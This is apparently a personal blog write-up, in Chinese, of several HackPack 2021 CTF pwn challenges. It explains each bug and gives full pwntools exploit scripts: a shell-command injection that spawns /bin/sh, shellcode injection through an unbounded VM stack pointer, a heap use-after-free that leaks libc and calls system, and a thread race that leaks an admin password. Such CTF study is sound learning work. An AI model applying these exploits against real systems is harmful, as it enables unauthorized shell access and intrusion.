jkilopu's blog
0%

HackPack-2021

发表于

CTFtime 上的一个比赛，外国高校 NCSU 举办的。题目比较简单（除了最后一个 Rust），但还是能学到一些新的点子。在这里简略地记录一下。

Baby Calc

shell 命令行注入。程序中有下面的危险命令执行：

1
2
sprintf(output_buff, "python3 -c 'print(%s + %s)'", v4, v5);
system(output_buff);

让单引号闭合，用 “;” 隔离，在 “)” 前加 “\“ 就好了。

exp

1
2
3
4
5
6
7
8
9
from pwn import *

#io = process("./chal")
io = remote("ctf2021.hackpack.club", 11001)

io.sendlineafter("Variable one", "1)';")
io.sendlineafter("Variable two", ";/bin/sh;'\\")

io.interactive()

Mind Blown&Brain Fart

分析

虚拟机题。实现了栈上 rsp 的移动，加减运算，以及输入输出栈上的值。

漏洞点是 rsp 的移动没有边界，因此可以影响到真实的栈。

题目没有开 NX 和 PIE，所以直接覆盖返回地址到 bss 段的 shellcode 上就行。

两题的差别在于 Brain Fart 禁止了栈上的输入，由于可以用加减运算代替，两题的差别并不大。

exp

Mind Blown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.os = "linux"
context.arch = "amd64"
#io = process("./mind_blown")
io = remote("ctf2021.hackpack.club", 10996)

shellcode = asm(shellcraft.sh())
payload = b'>' * 0x1018 + (b',' + b'>') * 4
shellcode_offset = len(payload)
payload += shellcode

shellcode_addr = 0x124050e0 #0x124040C0 + shellcode_offset
#print("shellcode_addr = " + hex(shellcode_addr))

io.sendlineafter("Number of characters in your program:", str(len(payload)))
io.sendafter("Enter your program text below:", payload)

for i in range(4):
    sleep(0.3)
    io.send(p8((shellcode_addr >> (8 * i)) & 0xff))

io.interactive()

Brain Fart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
#io = process("./brain_fart")
io = remote("ctf2021.hackpack.club", 10997)

shellcode_addr = 0x124040c0
ret_addr = 0x401584 # 远程和本地居然不一样。。。是可执行文件就不一样吗。。。
shellcode = asm(shellcraft.sh())
#print(shellcode)

payload = shellcode + b'>' * 0x1018
for i in range(40):
    a1 = (ret_addr >> (8 * i)) & 0xff
    a2 = (shellcode_addr >> (8 * i)) & 0xff
    #payload += b'.' # 泄漏远程的ret_addr
    a = abs(a1 - a2)
    if (a1 > a2):
        payload += b'-' * a
    elif (a1 < a2):
        payload += b'+' * a
    payload += b'>'

io.sendlineafter("Number of characters in your program:", str(len(payload)))
io.sendafter("Enter your program text below:", payload)

io.interactive()

Logme

分析

堆题。有 UAF 漏洞，构造堆块重叠后覆盖函数指针及其第一个参数，利用 plt 中的 puts 及其 got 表泄漏 libc，然后 system(“/bin/sh”) 就行了。（当时这题有一点没想通耗了挺久时间的）

fopen

fopen 在权限不足或是文件不存在时就会失败并返回 NULL，fwrite 如果用为 NULL 的 fp 就会 segmentation fault。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from os import system

libc = ELF("./libc-2.27.so_logme")
#io = process("./logme")
io = remote("ctf2021.hackpack.club", 11002)

def auth():
    io.sendlineafter("> ", '1')
    io.sendlineafter("Username: ", "administrator")
    io.sendlineafter("Password: ", "S3CreTB4CkD0or")

def logoff():
    io.sendlineafter("> ", '4')

def create(name):
    io.sendlineafter("> ", '1')
    io.sendafter("Enter Index name: ", name)
    io.recvuntil("Saved index ")

def delete(idx):
    io.sendlineafter("> ", '2')
    io.sendlineafter("Enter Index: ", str(idx))

def dump(idx):
    io.sendlineafter("> ", '3')
    io.sendlineafter("Enter Index: ", str(idx))

def add_entry(idx, size, content):
    io.sendlineafter("> ", '2')
    io.sendlineafter("Enter Index: ", str(idx))
    io.sendlineafter("Entry Size: ", str(size))
    io.sendafter("Entry: ", content)

system("rm -r log_dir/1/")
system("rm -r log_dir/2/")

auth()

create("1")
create("2")
delete(0)

logoff()

puts_plt = 0x400970
puts_got = 0x602040

payload = b'a' * 0x28 + p64(puts_got) + p64(puts_plt)
add_entry(1, 0x38, payload)

auth()
dump(0)

libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - libc.symbols["puts"]
print("libc.address = " + hex(libc.address))

create("jkilopu2")
delete(2)

logoff()

str_bin_sh_addr = libc.address + 0x1b3e1f
system_addr = libc.symbols["system"]
payload = b'b' * 0x28 + p64(str_bin_sh_addr) + p64(system_addr)
add_entry(1, 0x38, payload)

auth()
dump(2)

io.interactive()

Better PAM

分析

多线程题。题目实现了一个登录系统，目标为获得 admin 账户的密码（也就是 flag）。

漏洞1——查找行为的不同

程序用一个数组保存账号名和密码，新加入的账户会添加到数组末尾。

登入时，如果数组中的账号名有重复，总是匹配到数组最后的账号名和密码：

1
2
3
4
5
6
for ( i = 0LL; i < numAccounts; ++i )
  {
    v4 = (const char **)accounts[i];
    if ( !strcmp(*v4, name) && !strcmp(v4[1], passwd) )
      v0 = *v4; // 找到后没有break
  }

程序中有 printAccount 函数：从数组头开始匹配账户名，打印当前登入账户的账号名和密码。

1
2
3
4
5
6
7
8
9
for ( i = 0LL; i < numAccounts; ++i )
  {
    v4 = (const char **)accounts[i];
    if ( !strcmp(*v4, a1) )
    {
      v2 = v4;
      break; // 找到就跳出来
    }
  }

漏洞2——线程之间没有同步

为了防止账号名重复，在将账号添加到数组之前，会新建一个线程来检查。

1
pthread_create(newthread, 0LL, verifyNoDuplicatesExist, account_note); // 新建线程检查

verifyNoDuplicatesExist 是可重入的，但其检查效率比较低下，遍历了整个账户数组。

只要账户数组中存在账户其账户名与要添加的账户的账户名相同，就会退出整个进程：

1
2
3
4
5
6
7
have_same = (unsigned __int8)(is_same | have_same) != 0;
}
if ( have_same )
{
  fprintf(stderr, "ERROR: Account already exists: %s\n", *(const char **)account_note);
  exit(-1);
}

然而旧线程并没有使用 pthread_join 等待新线程退出，直接就将账户添加到了数组中：

1
2
3
4
account_note[1] = numAccounts;
pthread_create(newthread, 0LL, verifyNoDuplicatesExist, account_note); // 新建线程检查
accounts[numAccounts] = account_buf;
return ++numAccounts;

利用

我们添加 admin 账户，设置自己的密码。如果能在新线程“发现”账号名重复前就完成 admin 的登入（用自己的密码）、admin 密码的输出（输出已有的 admin 账户的密码），就能获得 flag。

增加新线程的检查时间

程序最多能保存 0x30 个账户。我们添加多个名字很长的账户直到数量最大。根据前面对verifyNoDuplicatesExist 分析，这样可以增加新线程的检查时间。

一次性发送 payload

在通常的题目中，payload 要等到提示信息出现之后才发送。不然前后的 payload 可能会被一块发送，read 之类的函数就会一并读取。但在此题中，程序读取的方式比较特殊：

1
2
3
4
5
6
7
8
9
10
if ( (unsigned int)__isoc99_scanf("%d", &choice) == 1 )
    {
      puts("\n");
      v3 = (const char *)stdin;
      v6 = getc(stdin);
      if ( v6 != '\n' )
      {
        v3 = (const char *)(unsigned int)v6;
        ungetc((int)v3, stdin);
      }

manpage 中对 ungetc 的简介：

int ungetc(int c, FILE *stream);

ungetc() pushes c back to stream, cast to unsigned char, where it is available for subsequent read operations. Pushed-back characters will be returned in reverse order; only one pushback is guaranteed.

这意味着将所有操作放在一个 payload 里面是可行的。这样的话，就可以大大减少网络通讯的时间了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level = "debug"
#io = process("./better_pam")
io = remote("ctf2021.hackpack.club", 10994)

def try_auth(name, passwd):
    io.sendlineafter("> ", '2')
    io.sendlineafter("Please enter username: ", name)
    io.sendlineafter("Please enter password", passwd)

def create_account(name, passwd):
    io.sendlineafter("> ", '3')
    io.sendlineafter("Please enter username: ", name)
    io.sendlineafter("Please enter password: ", passwd)

def print_account():
    io.sendlineafter("> ", '4')

payload = "3\nadmin\n1\n2\nadmin\n1\n4\n" # 一并发送

for i in range(13):
    create_account(chr(i+ord('a')), "1")

io.send(payload)
# 下面的代码在本地能成功，在远程不行（因为网速太慢了）
#create_account("admin", "1")
#try_auth("admin", "1")
#print_account()

io.interactive()

Rusty Chains

Rust！之前就在国外的比赛遇到过 rust 的题目，当时想着要是再碰到就要好好研究一下然后做出来，结果只成功了一半。。。等有 writeup 再复现。